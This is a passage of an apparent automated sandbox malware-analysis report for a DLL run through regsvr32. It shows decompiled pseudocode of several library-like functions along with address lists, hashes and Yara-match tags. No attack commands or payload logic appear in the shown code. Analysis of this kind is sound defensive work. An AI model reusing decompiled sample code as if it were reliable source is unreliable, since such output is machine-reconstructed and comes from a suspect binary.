                                                                                                        0x180032a66
                                                                                                        0x180032a6c
                                                                                                        0x180032a6f
                                                                                                        0x180032a74
                                                                                                        0x180032a78
                                                                                                        0x180032a7f
                                                                                                        0x180032a85
                                                                                                        0x180032a8a
                                                                                                        0x180032a8f
                                                                                                        0x180032a96
                                                                                                        0x180032aa6
                                                                                                        0x180032aa8
                                                                                                        0x180032ab2
                                                                                                        0x180032ab7
                                                                                                        0x180032abf
                                                                                                        0x180032ac1
                                                                                                        0x180032ac7
                                                                                                        0x180032acc
                                                                                                        0x180032acf
                                                                                                        0x180032ad5
                                                                                                        0x180032ad7
                                                                                                        0x180032adb
                                                                                                        0x180032ae1
                                                                                                        0x180032aeb
                                                                                                        0x180032aed
                                                                                                        0x180032af1
                                                                                                        0x180032af4
                                                                                                        0x180032afb
                                                                                                        0x180032aff
                                                                                                        0x180032b06
                                                                                                        0x180032b0a
                                                                                                        0x180032b0f
                                                                                                        0x180032b14
                                                                                                        0x180032b19
                                                                                                        0x180032b27
                                                                                                        0x180032b36

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 0acf4faafb18125745d07c25857b240b7eecc5feea0de31bf7fbc7da8d66c38a
                                                                                                        • Instruction ID: fe9496b5b6b2aa941a0e4ef5983bbaaefad72321d3ae0a6f76cdbb0eddfcd2c8
                                                                                                        • Opcode Fuzzy Hash: 0acf4faafb18125745d07c25857b240b7eecc5feea0de31bf7fbc7da8d66c38a
                                                                                                        • Instruction Fuzzy Hash: 8E318272204B48C6DBA68F29E0907AE77A0F39CB8CF658125EB8C4B751DF36C596C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180035A64 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180035A64(void* __eax, long long __rbx, long long __rcx, short* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t44;
				intOrPtr _t57;
				signed long long _t58;
				intOrPtr _t61;
				signed long long _t62;
				long long _t64;
				long long _t66;
				intOrPtr* _t67;
				short* _t70;
				long long _t71;
				void* _t72;
				void* _t73;
				signed short* _t78;
				void* _t79;

				_t66 = __rcx;
				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80035a92;
				_t78 =  *(__rcx + 0x18);
				 *(__rcx + 0x18) =  &(_t78[4]);
				 *__rdx =  *_t78 & 0x0000ffff;
				goto 0x80035b61;
				if (__eax - 0x63 <= 0) goto 0x80035ad3;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t57 + 0x30)) = 1;
				 *((intOrPtr*)(_t57 + 0x2c)) = 0x16;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t58;
				_v24 = _t71;
				E00000001180025880(_t58, __rcx, __rcx, __rdx, _t72, _t73,  &(_t78[4]));
				goto 0x80035b63;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x80035b53;
				_t44 =  *((intOrPtr*)(_t66 + 0x34));
				r9d =  *(_t64 + 0x3a) & 0x0000ffff;
				_t70 = _t64 + (_t58 + _t58 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x80035b0f;
				 *_t70 = 1;
				 *((intOrPtr*)(_t70 + 4)) = r9w;
				 *((intOrPtr*)(_t70 + 0x10)) = _t44;
				dil = 1;
				goto 0x80035b63;
				_v24 = _t44;
				r8d = 1;
				_t67 = _t64;
				if (E000000011800404D0(_t64, _t67, _t70, _t72, _t79) != 0) goto 0x80035b07;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t61 + 0x30)) = 1;
				 *((intOrPtr*)(_t61 + 0x2c)) = 0x16;
				_t62 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t62;
				_v24 = _t71;
				E00000001180025880(_t62, _t64, _t67, _t70, _t72, _t73,  &(_t78[4]));
				goto 0x80035b0a;
				 *_t70 =  *( *(_t67 + 0x488 + _t62 * 8)) & 0x0000ffff;
				return 1;
			}



















                                                                                                        0x180035a64
                                                                                                        0x180035a64
                                                                                                        0x180035a75
                                                                                                        0x180035a78
                                                                                                        0x180035a7a
                                                                                                        0x180035a82
                                                                                                        0x180035a8a
                                                                                                        0x180035a8d
                                                                                                        0x180035a9c
                                                                                                        0x180035a9e
                                                                                                        0x180035aa4
                                                                                                        0x180035aa7
                                                                                                        0x180035aac
                                                                                                        0x180035ab0
                                                                                                        0x180035ab7
                                                                                                        0x180035abd
                                                                                                        0x180035ac2
                                                                                                        0x180035ac7
                                                                                                        0x180035ace
                                                                                                        0x180035ade
                                                                                                        0x180035ae0
                                                                                                        0x180035aea
                                                                                                        0x180035aef
                                                                                                        0x180035af7
                                                                                                        0x180035af9
                                                                                                        0x180035aff
                                                                                                        0x180035b04
                                                                                                        0x180035b07
                                                                                                        0x180035b0d
                                                                                                        0x180035b0f
                                                                                                        0x180035b13
                                                                                                        0x180035b19
                                                                                                        0x180035b23
                                                                                                        0x180035b25
                                                                                                        0x180035b29
                                                                                                        0x180035b2c
                                                                                                        0x180035b33
                                                                                                        0x180035b37
                                                                                                        0x180035b3e
                                                                                                        0x180035b42
                                                                                                        0x180035b47
                                                                                                        0x180035b4c
                                                                                                        0x180035b51
                                                                                                        0x180035b5e
                                                                                                        0x180035b6d

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: b3263f1ba5bfa614b6fb227f717cebdd53783fa4dac9128e35f3841e926ab209
                                                                                                        • Instruction ID: abb58f0bc008d9ef8611bfa9da14e0d96daa448becefde7336d5e75803993813
                                                                                                        • Opcode Fuzzy Hash: b3263f1ba5bfa614b6fb227f717cebdd53783fa4dac9128e35f3841e926ab209
                                                                                                        • Instruction Fuzzy Hash: B5318472204648C6DBA68F29D0807AE77A0F79CF8DF658115EB8C4B761DF36C196D704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800349B0 Relevance: .1, Instructions: 70COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 43%
                                                                                                        			E000000011800349B0(void* __eax, long long __rbx, long long __rcx, void* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				long long _t63;
				long long _t65;
				intOrPtr* _t69;
				long long _t70;
				void* _t71;
				void* _t72;
				void* _t78;

				_t65 = __rcx;
				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800349dc;
				_t77 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				asm("repne inc ecx");
				goto 0x80034aa7;
				if (__eax - 0x63 <= 0) goto 0x80034a1d;
				_t56 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t57;
				_v24 = _t70;
				E00000001180025880(_t57, __rcx, __rcx, __rdx, _t71, _t72,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80034aad;
				if ( *((intOrPtr*)(_t65 + 0x470)) != 1) goto 0x80034a9b;
				_t43 =  *((intOrPtr*)(_t65 + 0x34));
				r9b =  *((intOrPtr*)(_t63 + 0x39));
				_t69 = _t63 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t69 != 0) goto 0x80034a57;
				 *_t69 = 4;
				 *((intOrPtr*)(_t69 + 4)) = r9b;
				 *((intOrPtr*)(_t69 + 0x10)) = _t43;
				dil = 1;
				goto 0x80034aad;
				_v24 = _t43;
				r8d = 4;
				if (E0000000118003FE64(_t41, _t63, _t63, _t69, _t70, _t77, _t78) != 0) goto 0x80034a4f;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t63 + 8));
				_v24 = _t70;
				E00000001180025880( *((intOrPtr*)(_t63 + 8)), _t63, _t63, _t69, _t71, _t72,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80034a52;
				asm("movsd xmm0, [ecx]");
				asm("movsd [edx], xmm0");
				return 1;
			}


















                                                                                                        0x1800349b0
                                                                                                        0x1800349b0
                                                                                                        0x1800349c1
                                                                                                        0x1800349c4
                                                                                                        0x1800349c6
                                                                                                        0x1800349ce
                                                                                                        0x1800349d2
                                                                                                        0x1800349d7
                                                                                                        0x1800349e6
                                                                                                        0x1800349e8
                                                                                                        0x1800349ee
                                                                                                        0x1800349f1
                                                                                                        0x1800349f6
                                                                                                        0x1800349fa
                                                                                                        0x180034a01
                                                                                                        0x180034a07
                                                                                                        0x180034a0c
                                                                                                        0x180034a11
                                                                                                        0x180034a18
                                                                                                        0x180034a28
                                                                                                        0x180034a2a
                                                                                                        0x180034a34
                                                                                                        0x180034a38
                                                                                                        0x180034a40
                                                                                                        0x180034a42
                                                                                                        0x180034a48
                                                                                                        0x180034a4c
                                                                                                        0x180034a4f
                                                                                                        0x180034a55
                                                                                                        0x180034a57
                                                                                                        0x180034a5b
                                                                                                        0x180034a6b
                                                                                                        0x180034a6d
                                                                                                        0x180034a71
                                                                                                        0x180034a74
                                                                                                        0x180034a7b
                                                                                                        0x180034a7f
                                                                                                        0x180034a8a
                                                                                                        0x180034a8f
                                                                                                        0x180034a94
                                                                                                        0x180034a99
                                                                                                        0x180034aa3
                                                                                                        0x180034aa9
                                                                                                        0x180034ab7

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 6a2694bd22dbdc6d416522717a4e1907abfc672210d4860ea2c6e9d10774fea8
                                                                                                        • Instruction ID: 8fe2d9cedd52d214872bab9022afa6eb136a60436a63aedf2f3ec60233d2a771
                                                                                                        • Opcode Fuzzy Hash: 6a2694bd22dbdc6d416522717a4e1907abfc672210d4860ea2c6e9d10774fea8
                                                                                                        • Instruction Fuzzy Hash: 1E315E73204A88C6DB668F29D0407AE77A0F799B8CF658126EB8D0F751DF36C556CB08
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180034AB8 Relevance: .1, Instructions: 70COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 43%
                                                                                                        			E00000001180034AB8(void* __eax, long long __rbx, long long __rcx, void* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				long long _t63;
				long long _t65;
				intOrPtr* _t69;
				long long _t70;
				void* _t71;
				void* _t72;
				void* _t78;

				_t65 = __rcx;
				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80034ae4;
				_t77 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				asm("repne inc ecx");
				goto 0x80034baf;
				if (__eax - 0x63 <= 0) goto 0x80034b25;
				_t56 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t57;
				_v24 = _t70;
				E00000001180025880(_t57, __rcx, __rcx, __rdx, _t71, _t72,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80034bb5;
				if ( *((intOrPtr*)(_t65 + 0x470)) != 1) goto 0x80034ba3;
				_t43 =  *((intOrPtr*)(_t65 + 0x34));
				r9b =  *((intOrPtr*)(_t63 + 0x39));
				_t69 = _t63 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t69 != 0) goto 0x80034b5f;
				 *_t69 = 4;
				 *((intOrPtr*)(_t69 + 4)) = r9b;
				 *((intOrPtr*)(_t69 + 0x10)) = _t43;
				dil = 1;
				goto 0x80034bb5;
				_v24 = _t43;
				r8d = 4;
				if (E00000001180040098(_t41, _t63, _t63, _t69, _t70, _t77, _t78) != 0) goto 0x80034b57;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t63 + 8));
				_v24 = _t70;
				E00000001180025880( *((intOrPtr*)(_t63 + 8)), _t63, _t63, _t69, _t71, _t72,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80034b5a;
				asm("movsd xmm0, [ecx]");
				asm("movsd [edx], xmm0");
				return 1;
			}


















                                                                                                        0x180034ab8
                                                                                                        0x180034ab8
                                                                                                        0x180034ac9
                                                                                                        0x180034acc
                                                                                                        0x180034ace
                                                                                                        0x180034ad6
                                                                                                        0x180034ada
                                                                                                        0x180034adf
                                                                                                        0x180034aee
                                                                                                        0x180034af0
                                                                                                        0x180034af6
                                                                                                        0x180034af9
                                                                                                        0x180034afe
                                                                                                        0x180034b02
                                                                                                        0x180034b09
                                                                                                        0x180034b0f
                                                                                                        0x180034b14
                                                                                                        0x180034b19
                                                                                                        0x180034b20
                                                                                                        0x180034b30
                                                                                                        0x180034b32
                                                                                                        0x180034b3c
                                                                                                        0x180034b40
                                                                                                        0x180034b48
                                                                                                        0x180034b4a
                                                                                                        0x180034b50
                                                                                                        0x180034b54
                                                                                                        0x180034b57
                                                                                                        0x180034b5d
                                                                                                        0x180034b5f
                                                                                                        0x180034b63
                                                                                                        0x180034b73
                                                                                                        0x180034b75
                                                                                                        0x180034b79
                                                                                                        0x180034b7c
                                                                                                        0x180034b83
                                                                                                        0x180034b87
                                                                                                        0x180034b92
                                                                                                        0x180034b97
                                                                                                        0x180034b9c
                                                                                                        0x180034ba1
                                                                                                        0x180034bab
                                                                                                        0x180034bb1
                                                                                                        0x180034bbf

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 45c90823be8a508e30709fd7cd7915919d68b3c1acbc837d4b0adde9188d1dea
                                                                                                        • Instruction ID: 6131c469c7aed9c40d5384e703205db1ad3483e0563f30ae21a6f9b08eba091d
                                                                                                        • Opcode Fuzzy Hash: 45c90823be8a508e30709fd7cd7915919d68b3c1acbc837d4b0adde9188d1dea
                                                                                                        • Instruction Fuzzy Hash: 68315073204A88C6DBA68F29D04039EB7A0E79DB8CF658115EB9C0F751DF36C156CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02424F30 Relevance: .1, Instructions: 64COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: feedea2b33cb6385ee4ad3c6a3e823ffa5528c55956b36ad74880593104e7d5d
                                                                                                        • Instruction ID: 749d4c73c437ffad66afda7a5258cdd7542fd44315b23a1c351c6d5272421933
                                                                                                        • Opcode Fuzzy Hash: feedea2b33cb6385ee4ad3c6a3e823ffa5528c55956b36ad74880593104e7d5d
                                                                                                        • Instruction Fuzzy Hash: 85317FB5529781AFD788DF28D58991ABBE0FB98304F806A2DF8C687390D374D845CB46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240F138 Relevance: .1, Instructions: 56COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: df91658bc1dbe5cfe18ebcc4e61c3b7f9c162cb98f5bb57bad78f2701c366d0f
                                                                                                        • Instruction ID: 16b859d9df80baf28e859959afe371abc17297ca940c899fb79b59e9f05713a6
                                                                                                        • Opcode Fuzzy Hash: df91658bc1dbe5cfe18ebcc4e61c3b7f9c162cb98f5bb57bad78f2701c366d0f
                                                                                                        • Instruction Fuzzy Hash: E62148B55187848FD349DF28C44950BBBE0BB9C71CF404B1DF4CAAA254E778D649CB4A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024114E0 Relevance: .1, Instructions: 51COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 368b00808317db0c6eeb343d8186a7244276256a6840569b6c411d0ec0a799d8
                                                                                                        • Instruction ID: ee7a5c55605f70149413f8e3af0e6ec11f73695024813da0f59b58ad8c18f4df
                                                                                                        • Opcode Fuzzy Hash: 368b00808317db0c6eeb343d8186a7244276256a6840569b6c411d0ec0a799d8
                                                                                                        • Instruction Fuzzy Hash: 8C2168B4529780AFC3D8DF28C48A91BBBF0BB89345F806A1DF9868B250D7B4D544CB06
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02406ADC Relevance: .0, Instructions: 45COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 29ad924ac1c70926f7c8737274e40943dfa3bbe93137351e0d73c139ed4ccfd1
                                                                                                        • Instruction ID: f56a925fbc6b1c14cdc1075e20f2e33bca772af4acd6d7b0c5b01f5c961e66fa
                                                                                                        • Opcode Fuzzy Hash: 29ad924ac1c70926f7c8737274e40943dfa3bbe93137351e0d73c139ed4ccfd1
                                                                                                        • Instruction Fuzzy Hash: 4911CBB05483848BE388DF29C48A40FFBE2BBC1344F504A2DF4C2867A4D7B4D555CB46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180015984 Relevance: .0, Instructions: 2COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 1053239f1dcd6f1af3b7bb3c47aa8e3feaa13036318cdc8cbd5fe6856388fb65
                                                                                                        • Instruction ID: adadecf36bb305cfdc5cbcd5e13dd4464539ce5e949f79df8c5f4316e761fea0
                                                                                                        • Opcode Fuzzy Hash: 1053239f1dcd6f1af3b7bb3c47aa8e3feaa13036318cdc8cbd5fe6856388fb65
                                                                                                        • Instruction Fuzzy Hash: 55A00231105C0CD0E7868B10F8503A02330F358395F44901AF04E5D460EF3E8758C302
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018001E500 Relevance: 54.6, APIs: 3, Strings: 28, Instructions: 352COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 67%
                                                                                                        			E0000000118001E500(void* __edi, long long __rbx, long long* __rcx, void* __rdx, long long __rdi, void* __rsi, long long __r14, long long __r15, void* _a8, void* _a16, void* _a24, void* _a32) {
				signed int _v16;
				signed int _v24;
				signed char _v32;
				char _v40;
				signed int _v48;
				signed int _v56;
				signed int _t104;
				signed int _t124;
				signed int _t125;
				signed int _t132;
				signed int _t134;
				void* _t137;
				void* _t141;
				signed char _t148;
				signed char _t160;
				void* _t162;
				void* _t164;
				void* _t165;
				void* _t166;
				void* _t170;
				void* _t171;
				signed int _t172;
				void* _t173;
				void* _t175;
				signed int _t182;
				void* _t191;
				signed char* _t192;
				signed char* _t194;
				long long* _t196;
				long long* _t209;
				long long _t215;
				long long* _t218;
				signed long long* _t252;
				long long* _t269;
				void* _t272;
				void* _t275;
				signed char* _t278;
				signed char* _t280;
				void* _t284;
				long long _t285;

				_t285 = __r14;
				_t271 = __rsi;
				_t162 = __edi;
				_t191 = _t275;
				 *((long long*)(_t191 + 8)) = __rbx;
				 *((long long*)(_t191 + 0x10)) = __rdi;
				 *((long long*)(_t191 + 0x18)) = __r14;
				 *((long long*)(_t191 + 0x20)) = __r15;
				_t192 =  *0x800d9928; // 0x0
				_t208 = __rdx;
				_t269 = __rcx;
				r14d =  *_t192 & 0x000000ff;
				if (r14b == 0) goto 0x8001ea72;
				_v56 = _v56 & 0x00000000;
				_t7 =  &(_t192[1]); // 0x1
				_t278 = _t7;
				_v48 = _v48 & 0x00000000;
				r15b = 0;
				 *0x800d9928 = _t278;
				_t125 = r14d;
				_t164 = r14d - 0x58;
				if (_t164 > 0) goto 0x8001e66e;
				if (_t164 == 0) goto 0x8001e65c;
				_t165 = _t125 - 0x4b;
				if (_t165 > 0) goto 0x8001e5da;
				if (_t165 == 0) goto 0x8001e592;
				if (_t165 == 0) goto 0x8001e5c8;
				if (_t165 == 0) goto 0x8001e5c8;
				if (_t165 == 0) goto 0x8001e5c8;
				if (_t165 == 0) goto 0x8001e5b6;
				if (_t165 == 0) goto 0x8001e5b6;
				if (_t165 == 0) goto 0x8001e5a4;
				_t132 = _t125 - 0x3d;
				if (_t165 == 0) goto 0x8001e5a4;
				_t166 = _t132 - 1;
				if (_t166 != 0) goto 0x8001e673;
				r8d = 4;
				goto 0x8001e9a9;
				r8d = 3;
				goto 0x8001e9a9;
				r8d = 5;
				goto 0x8001e9a9;
				r8d = 4;
				goto 0x8001e9a9;
				if (_t166 == 0) goto 0x8001e64a;
				if (_t166 == 0) goto 0x8001e61d;
				if (_t166 == 0) goto 0x8001e607;
				if (_t166 == 0) goto 0x8001e5ff;
				if (_t166 == 0) goto 0x8001e5ff;
				if (_t166 == 0) goto 0x8001e5ff;
				if (_t132 - 0x48 != 1) goto 0x8001e673;
				goto 0x8001e82c;
				r8d = 5;
				E0000000118001C024(_t192, __rdx,  &_v56, "long ", __rcx, __rsi);
				_v16 = 6;
				_v24 = "double";
				asm("movaps xmm0, [ebp-0x10]");
				asm("movdqa [ebp-0x10], xmm0");
				E0000000118001C920(_t132 - 0x48, _t162, "double", __rdx,  &_v56,  &_v24, _t271);
				goto 0x8001e9b2;
				r8d = 5;
				goto 0x8001e9a9;
				r8d = 4;
				goto 0x8001e9a9;
				if ((_t132 & 0x00000003) == 0x5f) goto 0x8001e6a8;
				_t15 = _t278 - 1; // 0x0
				_t194 = _t15;
				 *0x800d9928 = _t194;
				E0000000118001FBAC(_t132 & 0x00000003, _t132 - 0x48, _t208,  &_v24, _t269, _t278, _t284);
				_t215 =  *_t194;
				_t160 = _t194[8];
				_v56 = _t215;
				_v48 = _t160;
				if (_t215 != 0) goto 0x8001e9b2;
				 *_t269 = _t215;
				 *(_t269 + 8) = _t160;
				goto 0x8001ea90;
				r15d =  *_t278 & 0x000000ff;
				_t21 =  &(_t278[1]); // 0x2
				 *0x800d9928 = _t21;
				_t134 = r15d;
				_t170 = r15d - 0x4d;
				if (_t170 > 0) goto 0x8001e7c3;
				if (_t170 == 0) goto 0x8001e78d;
				_t171 = _t134 - 0x47;
				if (_t171 > 0) goto 0x8001e770;
				if (_t171 == 0) goto 0x8001e6f2;
				_t172 = r15b;
				if (_t172 == 0) goto 0x8001e752;
				if (_t172 == 0) goto 0x8001e716;
				if (_t172 == 0) goto 0x8001e704;
				_t137 = _t134 - 3;
				if (_t172 == 0) goto 0x8001e704;
				_t173 = _t137 - 1;
				if (_t173 != 0) goto 0x8001e963;
				r8d = 7;
				goto 0x8001e9a9;
				r8d = 6;
				goto 0x8001e9a9;
				_t196 = "__w64 ";
				_v16 = 6;
				_v24 = _t196;
				asm("movaps xmm0, [ebp-0x10]");
				asm("movdqa [ebp-0x10], xmm0");
				E0000000118001E500(_t162, _t208,  &_v40, "__int8", _t269, _t271, __r14, __r15);
				_t209 = _t196;
				E0000000118001C2DC(_t196,  &_v56,  &_v24);
				_t218 = _t196;
				goto 0x8001ea85;
				 *0x800d9928 = _t278;
				_v56 = 0x800c36a0;
				_v48 = 1;
				goto 0x8001e9b2;
				if (_t173 == 0) goto 0x8001e7b1;
				if (_t173 == 0) goto 0x8001e7b1;
				if (_t173 == 0) goto 0x8001e79f;
				_t141 = _t137 - 0x45;
				if (_t173 == 0) goto 0x8001e79f;
				if (_t141 != 1) goto 0x8001e963;
				r8d = 8;
				goto 0x8001e9a9;
